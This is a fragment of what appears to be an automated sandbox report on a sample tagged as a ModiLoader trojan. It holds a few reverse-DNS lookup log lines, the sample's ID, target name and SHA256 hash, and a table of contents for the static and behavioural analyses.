US	8.8.8.8:53	196.249.167.52.in-addr.arpa	udp
US	8.8.8.8:53	14.160.190.20.in-addr.arpa	udp
US	8.8.8.8:53	95.221.229.192.in-addr.arpa	udp
US	8.8.8.8:53	58.55.71.13.in-addr.arpa	udp
US	8.8.8.8:53	97.17.167.52.in-addr.arpa	udp
US	8.8.8.8:53	50.23.12.20.in-addr.arpa	udp
US	8.8.8.8:53	56.126.166.20.in-addr.arpa	udp
US	8.8.8.8:53	21.236.111.52.in-addr.arpa	udp
US	8.8.8.8:53	90.16.208.104.in-addr.arpa	udp

Files

N/A

Sample ID	240528-xfz48afg5z
Target	7e009d25176572881fa9322dc4f075c7_JaffaCakes118
SHA256	5ebf5e0cf9a91d48b42971790f2f5841585429604fa78b6ed9a9a3d0b4c5acd0
Tags	modiloader evasion persistence trojan

Malware Analysis Report

2024-08-06 14:26

Table of Contents

Analysis Overview

Threat Level: Known bad

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files